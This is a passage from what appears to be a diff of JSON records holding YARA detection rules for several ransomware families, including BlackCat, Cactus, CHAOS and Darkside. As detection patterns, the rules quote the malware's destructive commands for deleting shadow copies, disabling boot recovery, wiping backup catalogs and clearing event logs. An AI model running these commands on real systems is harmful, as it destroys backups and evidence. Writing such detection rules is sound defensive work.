\"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.BlackCat\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a15f278540238f0308608e76a76c01c60e04f5e5bbe9ffce5455f2e965574a12\n        // 3ed830b0803b63aca0a82661475c863801afd2e2b03c2675b05019d55f25a1f4\n        // 3a96c3075b8494fe6a76c6325946ab3f200e75ce26ad886446ea1394b5ac6ba1\n        // c50bca08a8e80850ec18d258ff937b7b72a500d9027c730c86b05aa73c938b5d\n        // 4aa1fb1a55c6f0207955ec34b62f4c2551b7030cfc98fdef981a61ef0f9b2e1a\n        // 6dd995d896a9a593b2c48d09da60bd83866d8577273f36d38788d83ad8173e68\n        // d0e0923cf7f97c86b6cde608bc7a0332d03881e598de7b8e41c114d1576e4534\n        // 3850817e83a1cf4195920110bb2995a0386fdaeacbf81e13f52bdb3d124911f5\n        // 3b18241ac1018db1c2fb5c9e8306490bcafb373c852f1c5ebae65c672632a620\n        // 9fb1067dd3edf3d517517e9c191f3f07067bf30aa034a36ebf6543d83cea5ec1\n        // e69a13add1245bc1b7b6337e64eee9b53395b9574f2b85d32f891680c7165ff5\n        // 7bb383b31d1b415bc067e612203cc6bda53e914f7ca5291299e92f59d47cabf8\n        // d3fd49f8f42fa571209af568a65119433e114bb66da21eda12b96a16b5ebfe21\n        // 3c8ad2dae0b1bb536925b4e8d5a87e77c6134371eada2c7628358d6c6d3083dc\n        // 5a604a8f0e72f3bf7901b7b67f881031a402ab8072269c00233a554df548f54d\n        // 67d1f4077e929385cfd869bf279892bf10a2c8f0af4119e4bc15a2add9461fec\n        // 6660d0e87a142ab1bde4521d9c6f5e148490b05a57c71122e28280b35452e896\n        // bacedbb23254934b736a9daf6de52620c9250a49686d519ceaf0a8d25da0a97f\n        // f2b3f1ed693021b20f456a058b86b08abfc4876c7a3ae18aea6e95567fd55b2e\n        // 731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161\n        // 59868f4b346bd401e067380cac69080709c86e06fae219bfb5bc17605a71ab3f\n        // 7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e\n        // 3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83\n        // cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae\n\n        // Caracteristic strings\n        $s1 = \"Starting File Unlockers\" ascii\n        $s2 = \"uac_bypass::shell_exec=\" ascii\n        $s3 = \"File already has encrypted extension ->\" ascii\n        $s4 = \"File is already decrypted ->\" ascii\n        $s5 = \"cmd.exe /c  for /F \\\"tokens=*\\\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \\\"%1\\\"\" ascii\n        $s6 = \"Trying to remove shadow copies\" fullword ascii\n        $s7 = \"Trying to mount hidden partitions\" ascii\n        $s8 = \"masquerade_peb\" fullword ascii\n        $s9 = \"${EXTENSION}${ACCESS_KEY}${NOTE_FILE_NAME}\" ascii\n        $s10 = \"Invalid access token.\" ascii\n\n        // BlackCat config file dict keys\n        // This can only detect first variant of BlackCat because since march 2022 a new variant use the command-line option ACCCESS_TOKEN to generate an AES key used to decrypt the encrypted config.\n        $json_key1 = \"\\\"note_file_name\\\"\" ascii\n        $json_key2 = \"\\\"note_full_text\\\"\" ascii\n        $json_key3 = \"\\\"default_file_cipher\\\"\" ascii\n        $json_key4 = \"\\\"kill_services\\\"\" ascii\n        $json_key5 = \"\\\"kill_processes\\\"\" ascii\n        $json_key6 = \"\\\"exclude_directory_names\\\"\" ascii\n        $json_key7 = \"\\\"enable_network_discovery\\\"\" ascii\n        $json_key8 = \"\\\"enable_self_propagation\\\"\" ascii\n        $json_key9 = \"\\\"enable_esxi_vm_kill\\\"\" ascii\n        $json_key10 = \"\\\"enable_esxi_vm_snapshot_kill\\\"\" ascii\n        $json_key11 = \"\\\"esxi_vm_kill_exclude\\\"\" ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 4MB and (7 of ($s*) or 8 of ($json_key*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_blackcat_windows"
+  ],
+  "rule_creation_date": "2022-03-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.BlackCat"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_braincipher_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565751Z",
+  "creation_date": "2026-03-23T11:46:25.565755Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565764Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://protergo.id/all-about-brain-cipher-ransomware-2024/"
+  ],
+  "name": "ransomware_braincipher_linux.yar",
+  "content": "rule ransomware_braincipher_linux {\n    meta:\n        title = \"Brain Cipher Ransomware\"\n        id = \"be6e4655-0c9b-412d-8a35-4f13c6278168\"\n        description = \"Detects the Brain Cipher ransomware for Linux.\\nBrain Cipher is a ransomware targeting Linux systems. It encrypts files using the Chacha20 cipher and leaves specific markers such as a welcome message and an email.\\nThe ransomware searches for files in directories like /home/httpd and .qpkg, indicating its focus on certain system locations.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://protergo.id/all-about-brain-cipher-ransomware-2024/\"\n        date = \"2024-07-26\"\n        modified = \"2025-11-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Linux.Ransomware.BrainCipher\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 824916939cbe500d2dee0aa3a61b6f97ca6346bff655c9a67007b726584db8a8\n\n        $canary = \"e9ec2d299f96aa6260bc290a8cdae5d5d4988b5a86e8842ca4ce834833484d15\" ascii\n\n        $fatal_1 = \"Welcome to Brain Cipher Ransomware!\" ascii fullword\n        $fatal_2 = \"Email to support: brain.support@cyberfear.com\"\n\n        $str_1 = \".system/opt\" ascii\n        $str_2 = \"/home/httpd\" ascii\n        $str_3 = \".qpkg\" ascii\n        $str_4 = \"/mnt/ext/opt\" ascii\n        $str_5 = \"Processing chunk %d\\\\%d (%s)\\n\" ascii\n\n        $fn_xor_key_stream_1 = {\n            8B 84 24        // mov        eax,dword ptr [esp + local_84]\n            D8 01 00 00\n            89 04 24        // mov        dword ptr [esp]=>local_25c,eax\n            8B 84 24        // mov        eax,dword ptr [esp + local_74]\n            E8 01 00 00\n            89 44 24 04     // mov        dword ptr [esp + local_258],eax\n            89 54 24 08     // mov        dword ptr [esp + local_254],edx\n            89 54 24 0C     // mov        dword ptr [esp + local_250],edx\n            89 44 24 10     // mov        dword ptr [esp + local_24c],eax\n            89 54 24 14     // mov        dword ptr [esp + local_248],edx\n            89 54 24 18     // mov        dword ptr [esp + local_244],edx\n            E8 ?? ??        // call       golang.org/x/crypto/chacha20.(*cipher).xorkeys   undefined golang.org/x/crypto/ch\n            ?? ??\n        }\n\n        $fn_xor_key_stream_2 = {\n            8B 8C 24        // mov        ecx,dword ptr [esp + local_84]\n            D8 01 00 00\n            89 0C 24        // mov        dword ptr [esp]=>local_25c,ecx\n            8B 94 24        // mov        edx,dword ptr [esp + local_74]\n            E8 01 00 00\n            89 54 24 04     // mov        dword ptr [esp + local_258],edx\n            C7 44 24        // mov        dword ptr [esp + local_254],0x100000\n            08 00 00\n            10 00\n            C7 44 24        // mov        dword ptr [esp + local_250],0x100000\n            0C 00 00\n            10 00\n            89 54 24 10     // mov        dword ptr [esp + local_24c],edx\n            C7 44 24        // mov        dword ptr [esp + local_248],0x100000\n            14 00 00\n            10 00\n            C7 44 24        // mov        dword ptr [esp + local_244],0x100000\n            18 00 00\n            10 00\n            E8 ?? ??        // call       golang.org/x/crypto/chacha20.(*cipher).xorkeys   undefined golang.org/x/crypto/ch\n            ?? ??\n        }\n\n    condition:\n        ((any of ($fatal_*) or all of ($str_*)) and not $canary) or all of ($fn_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_braincipher_linux"
+  ],
+  "rule_creation_date": "2024-07-26",
+  "rule_modified_date": "2025-11-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Ransomware.BrainCipher"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_cactus_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574461Z",
+  "creation_date": "2026-03-23T11:46:25.574463Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574469Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection\nhttps://www.swascan.com/cactus-ransomware-malware-analysis/"
+  ],
+  "name": "ransomware_cactus.yar",
+  "content": "rule ransomware_cactus {\n    meta:\n        title = \"Cactus Ransomware\"\n        id = \"9a0ae99d-eedc-475a-9c30-1495030c4352\"\n        description = \"Detects the Cactus ransomware.\\nCactus is a ransomware variant actively targeting Windows systems.\\nIt creates a file named 'CaCtUs.ReAdMe.txt' containing a ransom note and appends '.encrypted by Cactus' to encrypted files. The ransomware also creates a malicious scheduled task using schtasks.exe to maintain persistence.\\nCactus encrypts files and attempts to delete volume shadow copies to prevent data recovery.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection\\nhttps://www.swascan.com/cactus-ransomware-malware-analysis/\"\n        date = \"2023-10-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Cactus\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4b0a5d6a176317437978211a423a7c1cdf832baa7984bba09aeeb5a1e4d07aa3\n        // 69b6b447ce63c98acc9569fdcc3780ced1e22ebd50c5cad9ee1ea7a4d42e62cc\n        // 78c16de9fc07f1d0375a093903f86583a4e32037a7da8aa2f90ecb15c4862c17\n        // 9ec6d3bc07743d96b723174379620dd56c167c58a1e04dbfb7a392319647441a\n        // d1db583aad156dc4edd093a64aade4180a77477cb247347e3fc97cae401d061f\n        $canary = \"e08b56f7a57256dc8f4b3ef0605a1cb6e9c7573804d02dbfeacaa9308e46bf37\"\n\n        $s1 = \"C:\\\\ProgramData\\\\ntuser.dat\" ascii fullword\n        $s2 = \"CaCtUs.ReAdMe.txt\" wide fullword\n        $s3 = \" encrypted by Cactus.\" wide\n        $s4 = \"Backup contact: TOX (https://tox.chat/):\" wide fullword\n        $s5 = \"C:\\\\Windows\\\\system32\\\\schtasks.exe /create /sc MINUTE /mo 5 /rl HIGHEST /ru SYSTEM /tn \\\"Updates Check Task\\\" /tr \\\"cmd /c cd C:\\\\ProgramData &&\" wide fullword\n\n        $u1 = \"fixedIDCorrect\" ascii fullword\n        $u2 = \"startByParams\" ascii fullword\n        $u3 = \"needExtraLogger\" ascii fullword\n        $u4 = \"needLogger\" ascii fullword\n        $u5 = \"totalFilesSkipped\" ascii fullword\n        $u6 = \"totalFilesSkippedAccess\" ascii fullword\n        $u7 = \"totalFilesProcessed\" ascii fullword\n        $u8 = \"FindVolumeClose\" ascii fullword\n\n        $process_file_s1 = \"success file \" wide fullword\n        $process_file = {\n            48 8B 45 38                                   // mov     rax, [rbp+20h+fileSize]\n            48 C1 E8 06                                   // shr     rax, 6\n            48 BA 73 3D 0A D7 A3 70 3D 0A                 // mov     rdx, 0A3D70A3D70A3D73h\n            48 F7 E2                                      // mul     rdx\n            48 89 D0                                      // mov     rax, rdx\n            48 C1 E0 04                                   // shl     rax, 4\n            48 89 45 F8                                   // mov     [rbp+20h+hashSize], rax\n            48 81 7D F8 00 80 02 00                       // cmp     [rbp+20h+hashSize], 28000h\n            76 08                                         // jbe     short loc_140006B3A\n            48 C7 45 F8 00 80 02 00                       // mov     [rbp+20h+hashSize], 28000h\n        }\n\n    condition:\n        (4 of ($s*) or\n        all of ($u*) or\n        all of ($process_file*))\n        and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_cactus"
+  ],
+  "rule_creation_date": "2023-10-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Cactus"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_chaos_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566495Z",
+  "creation_date": "2026-03-23T11:46:25.566498Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566507Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fortinet.com/blog/threat-research/evolution-of-chaos-ransomware-faster-smarter-and-more-dangerous\nhttps://blog.talosintelligence.com/new-chaos-ransomware/"
+  ],
+  "name": "ransomware_chaos.yar",
+  "content": "rule chaos_ransomware {\n    meta:\n        title = \"CHAOS Ransomware\"\n        id = \"8d9ff024-3b63-4cc9-8924-833645ded8eb\"\n        description = \"Detects the C++ CHAOS ransomware version.\\nThis ransomware resurfaced in 2025 with new capabilities such as using clipboard hijacking for cryptocurrency theft by modifying bitcoin wallet addresses copied in the clipboard by the attacker one. Finally, it uses destructive extortion by deleting the content of large files (larger than 1.3GB).\\nIt is recommended to perform a thorough investigation of network shares and connected devices to prevent further spread and to analyze the host for other malicious content or actions.\"\n        references = \"https://www.fortinet.com/blog/threat-research/evolution-of-chaos-ransomware-faster-smarter-and-more-dangerous\\nhttps://blog.talosintelligence.com/new-chaos-ransomware/\"\n        date = \"2025-10-15\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1497;attack.t1622;attack.t1140;attack.privilege_escalation;attack.t1134;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Ransomware.CHAOS\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f4b5b1166c1267fc5a565a861295a20cf357c17d75418f40b4f14b094409d431\n        // fc8d39c8e9f294a39e5e86c5f56f4fac311fdbd7604c7e65e139826d01db06d9\n        // fe717bab60f1b03012b1e6287e3f3725f1ad5163897041b824024aedabb7c46d\n\n        $some_str00=\"Large file: %S\"\n        $some_str01=\"Encrypted: %S\"\n        $some_str02=\"2. Email transaction ID to:\"\n        $some_str03=\"Clipboard monitor started\"\n        $some_str04=\"BTC detected\"\n        $some_str05=\"Admin check...\"\n        $some_str06=\"Admin confirmed\"\n        $some_str07=\"vssadmin delete shadows /all /quiet >nul 2>&1\"\n        $some_str08=\"wmic shadowcopy delete >nul 2>&1\"\n        $some_str09=\"bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1\"\n        $some_str10=\"bcdedit /set {default} recoveryenabled no >nul 2>&1\"\n        $some_str11=\"wbadmin delete catalog -quiet >nul 2>&1\"\n        $some_str12=\"svchost_log.txt\"\n        $some_str13=\"Important files encrypted. Check README.\"\n        $some_str14=\"chaos_debug.log\"\n        $some_str15=\"=== CHAOS Ransomware Debug Log ===\"\n        $some_str16=\"File already encrypted, skipping\"\n        $some_str17=\"Not a target file type, skipping\"\n        $some_str18=\"File too large (>50MB), skipping\"\n        $some_str19=\"Dropped ransom note: %S\"\n        $some_str20=\"Starting CHAOS ransomware..\"\n        $some_str21=\"=== ENCRYPTION COMPLETE ===\"\n        $some_str22=\"%s.chaos\" wide\n        $some_str23=\"%s\\\\READ_ME_CHAOS_%d.txt\" wide\n        $some_str24=\"CHAOS Debug\" wide\n        $some_str25=\"No files were encrypted.\\nCheck log: %TEMP%\\\\chaos_debug.log\" wide\n        $some_str26=\"chaos@protonmail.com\"\n        $some_str27=\"<RSAKeyValue><Modulus>\"\n        $some_str28=\"ChaosClipboardMonitor\" wide\n\n        $mutex=\"SvcHost_7z459ajrk\"\n\n        $stub_enumerate_files00 = {\n            0F 29 70 B8                                                    // movaps  xmmword ptr [rax-48h], xmm6\n            0F 29 78 A8                                                    // movaps  xmmword ptr [rax-58h], xmm7\n            4C 8B E1                                                       // mov     r12, rcx\n            41 B5 01                                                       // mov     r13b, 1\n            4C 8B 71 10                                                    // mov     r14, [rcx+10h]\n            48 B9 FE FF FF FF FF FF FF 7F                                  // mov     rcx, 7FFFFFFFFFFFFFFEh\n            48 8B C1                                                       // mov     rax, rcx\n            49 2B C6                                                       // sub     rax, r14\n            48 83 F8 02                                                    // cmp     rax, 2\n            0F 82 D9 0C 00 00                                              // jb      loc_14000CBB5\n            4D 8B FC                                                       // mov     r15, r12\n            49 83 7C 24 18 07                                              // cmp     qword ptr [r12+18h], 7\n            76 04                                                          // jbe     short loc_14000BEEB\n            4D 8B 3C 24                                                    // mov     r15, [r12]\n        }\n        $stub_enumerate_files01 = {\n            89 9D 78 04 00 00                                             // mov     [rbp+460h+arg_8], ebx\n            BA 3A 00 00 00                                                // mov     edx, 3Ah ; ':'\n            41 B8 5C 00 00 00                                             // mov     r8d, 5Ch ; '\\'\n            49 BD FE FF FF FF FF FF FF 7F                                 // mov     r13, 7FFFFFFFFFFFFFFEh\n            66 0F 6F 35 7A 03 03 00                                       // movdqa  xmm6, cs:xmmword_14003D860\n        }\n        $stub_enumerate_recursive = {\n            0F 29 70 B8                                                    // movaps  xmmword ptr [rax-48h], xmm6\n            0F 29 78 A8                                                    // movaps  xmmword ptr [rax-58h], xmm7\n            4C 8B E1                                                       // mov     r12, rcx\n            41 B5 01                                                       // mov     r13b, 1\n            4C 8B 71 10                                                    // mov     r14, [rcx+10h]\n            48 B9 FE FF FF FF FF FF FF 7F                                  // mov     rcx, 7FFFFFFFFFFFFFFEh\n            48 8B C1                                                       // mov     rax, rcx\n            49 2B C6                                                       // sub     rax, r14\n            48 83 F8 02                                                    // cmp     rax, 2\n            0F 82 D9 0C 00 00                                              // jb      loc_14000CBB5\n            4D 8B FC                                                       // mov     r15, r12\n            49 83 7C 24 18 07                                              // cmp     qword ptr [r12+18h], 7\n        }\n\n    condition:\n        $mutex\n        or (1 of ($stub_*) and 4 of ($some_str*))\n        or 10 of ($some_str*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chaos_ransomware"
+  ],
+  "rule_creation_date": "2025-10-15",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.CHAOS"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1497",
+    "attack.t1134",
+    "attack.t1622"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_darkside_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568955Z",
+  "creation_date": "2026-03-23T11:46:25.568958Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568963Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/shining-a-light-on-darkside-ransomware-operations"
+  ],
+  "name": "ransomware_darkside.yar",
+  "content": "rule ransomware_darkside {\n    meta:\n        title = \"Darkside Ransomware\"\n        id = \"f226af0c-0553-44cf-80f2-6adfd3a8dc24\"\n        description = \"Detects the Darkside Ransomware.\\nDarkside is a ransomware known for its association with the DarkSide hacking group. It encrypts files on infected systems, typically appending a specific extension to encrypted files. \\nThe ransomware is designed to disrupt operations and demands payment for decryption keys.\\nIt is often delivered through phishing emails or malicious links, and it uses tools like PsExec for persistence and lateral movement within a network.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.mandiant.com/resources/blog/shining-a-light-on-darkside-ransomware-operations\"\n        date = \"2021-05-19\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Darkside\"\n        context = \"process,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html\n        // Unicode string '\\\\?\\C:\\*recycle*' used to locate recycle bin in order to empty it\n        $s1 = {\n            66 C7 04 47 2A 00           // mov word ptr [edi+eax*2], 2Ah\n            C7 44 47 02 72 00 65 00     // mov dword ptr [edi+eax*2+2], 650072h\n            C7 44 47 06 63 00 79 00     // mov dword ptr [edi+eax*2+6], 790063h\n            C7 44 47 0A 63 00 6C 00     // mov dword ptr [edi+eax*2+0Ah], 6C0063h\n            C7 44 47 0E 65 00 2A 00     // mov dword ptr [edi+eax*2+0Eh], 2A0065h\n            66 C7 44 47 12 00 00        // mov word ptr [edi+eax*2+12h], 0\n        }\n    condition:\n        uint16(0) == 0x5A4D and filesize < 100KB and $s1\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_darkside"
+  ],
+  "rule_creation_date": "2021-05-19",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Darkside"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_funklocker_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583349Z",
+  "creation_date": "2026-03-23T11:46:25.583351Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583359Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2025/funksec-alleged-top-ransomware-group-powered-by-ai/"
+  ],
+  "name": "ransomware_funklocker.yar",
+  "content": "rule ransomware_funklocker {\n    meta:\n        title = \"FunkLocker Ransomware\"\n        id = \"556fd44a-16f5-41ed-9f85-dc4e45b1e4e5\"\n        description = \"Detects the FunkLocker ransomware via characteristic strings.\\nFunkLocker is a Rust-based ransomware targeting Windows systems. This malware employs evasion techniques including masquerading as legitimate system processes to avoid detection and incorporates virtual machine detection mechanisms to evade automated analysis environments.\\nIf this alert is a true-positive, it is recommended to immediately isolate the affected machine from the network to prevent lateral movement, to initiate incident response procedures and investigate other hosts for signs of compromise.\"\n        references = \"https://research.checkpoint.com/2025/funksec-alleged-top-ransomware-group-powered-by-ai/\"\n        date = \"2025-01-10\"\n        modified = \"2025-07-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.FunkLocker\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 5226ea8e0f516565ba825a1bbed10020982c16414750237068b602c5b4ac6abd\n        // 89b9f7499d59d0d308f5ad02cd6fddd55b368190c37f6c5413c4cfcd343eeff3\n        // c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c\n\n        $s_misc1 = \"Your organization, device has been successfully infiltrated by funksec ransomware!\" ascii\n        $s_misc2 = \"VM detected, aborting\" ascii\n        $s_misc3 = \"Scheduled task created to run ransomware at startup\" ascii\n        $s_misc4 = \"downloaded_wallpaper.jpg\" ascii\n\n        $s_proc00 = \"iTunes.exe\" ascii\n        $s_proc01 = \"photoshop.exe\" ascii\n        $s_proc02 = \"powerpnt.exe\" ascii\n        $s_proc03 = \"node.exe\" ascii\n        $s_proc04 = \"discord.exe\" ascii\n        